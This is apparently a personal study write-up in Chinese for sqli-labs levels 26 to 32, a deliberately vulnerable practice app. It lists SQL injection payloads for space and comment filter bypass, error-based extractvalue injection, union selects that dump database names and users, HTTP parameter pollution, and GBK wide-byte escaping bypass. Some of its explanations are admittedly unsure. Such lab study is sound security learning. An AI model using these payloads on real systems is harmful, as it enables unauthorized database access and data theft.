sqli-labs26-32
网络安全  /  2024-12-19  /  14410浏览

Less-26

26关开始推荐使用linux下搭建的sqli-labs环境,因为涉及到绕过空格使用的解析字符问题,Windows环境会有问题

代码分析
在这里插入图片描述
空格的绕过方法:

+也可以代替空格

以下这些在windows+apache环境下解析会出问题???%09 TAB 键(水平) 
%0a 新建一行 
%0c 新的一页 
%0d return 功能 
%0b TAB 键(垂直) 

%a0 空格(长payload出问题)原因不知

由于不能使用注释符,可以构造一个’payload’

1.基于布尔测试漏洞是否存在
在这里插入图片描述
2.使用报错注入或者时间盲注

0'+||extractvalue(1,concat(0x5c,version()))||'1'='1 #下边的注入过程替换报错语句内容即可,注意绕过or

在这里插入图片描述

Less26a

代码分析
在这里插入图片描述

构造payload

111')union%a0select%a01,database(),('3#用%a0代替空格,database()可以替换成之前用的sql注入语句

在这里插入图片描述
爆破所有数据库名

100')union%a0select%a01,(select%a0group_concat(schema_name)%a0from%a0infoorrmation_schema.schemata),('3

在这里插入图片描述

Less27

代码分析
在这里插入图片描述

100'unION%a0SelECT%a01,user(),3||'1

在这里插入图片描述

Less27a

代码分析
在这里插入图片描述

此关使用""包裹参数id,payload将上一关的’改成"即可

100%27unION%a0SelECT%a01,user(),3||%271

在这里插入图片描述

Less28

代码分析
在这里插入图片描述payload

100')union%a0select%a01,user(),3||('1

在这里插入图片描述

Less28a

代码分析
在这里插入图片描述
payload

111')unIon%0bsElect%0b1,database(),3|('1

在这里插入图片描述

服务器双层结构

参考sql注入天书学习
在这里插入图片描述以下为示例
在这里插入图片描述上边的访问路径有问题,图也截屏错了,下边补上

http://192.168.0.105/sqli-labs-master/Less-29/index.php?id=1&id=2

在这里插入图片描述

下图为大多数服务器对于参数解析的介绍

在这里插入图片描述


因此本关的代码审计应该先查看tomcat服务器中的index.jsp文件
路径为:C:\phpstudy\WWW\sqli-labs-master\tomcat-files\sqli-labs\Less-29

在这里插入图片描述
查看apache中的文件
在这里插入图片描述
payload

?id=1&id=-2'union select 1,database(),3-- +

在这里插入图片描述

Less30

代码分析
在这里插入图片描述
payload

?id=1&id=-1" union select 1,@@datadir,3--+

在这里插入图片描述

Less31

代码分析
在这里插入图片描述payload

?id=1&id=-1") union select 1,user(),3--+#只需将30关的payload加个)

在这里插入图片描述

宽字节注入

Less32-37都是关于’和\的过滤,可以使用宽字节注入绕过

原理:mysql在使用GBK编码时,会认为两个字符是一个汉字,如%aa%5c就是一个汉字(前一个ascii码要大于128才能到汉字的范围)
在黑名单函数过滤单引号'时,往往利用的思路是将'转换为\',使单引号无法生效,注入不成功。因此我们要想办法把'前面的\去掉,以下是两种思路:
'url编码后是%27    \在url编码后是%5c1.%df吃掉\		原理是urlencode(\') = %5c%27,我们在%5c%27前面添加%df==>%df%5c%27,而mysql在GBK编码方式的时候会将两个字节当做一个汉字,因此%df%5c就是一个汉字,而现在%27是一个单独的符号',这样就可以绕过'被转义为\'2.将\'中的\过滤掉,如构造%**%5c%5c%27,后面的%5c会被前面的%5c给注释掉,这也是一种绕过方法。???没懂,后边回头再来%5c%**%5c%5c%27----->\%**\\'第二个反斜杠将第三个转义为一个字符串\,使第三个\失去原本转义的属性。'可以使用    暂时这么理解的,不知道对不对

Less32

代码分析
在这里插入图片描述

payload

-1%df%27union%20select%201,database(),3--+

在这里插入图片描述
明天学习一下Php的正则表达式过滤函数

preg_quote(PHP 4, PHP 5, PHP 7)preg_quote — 转义正则表达式字符
说明preg_quote ( string $str [, string $delimiter = NULL ] ) : stringpreg_quote()需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。

正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : - #



评论0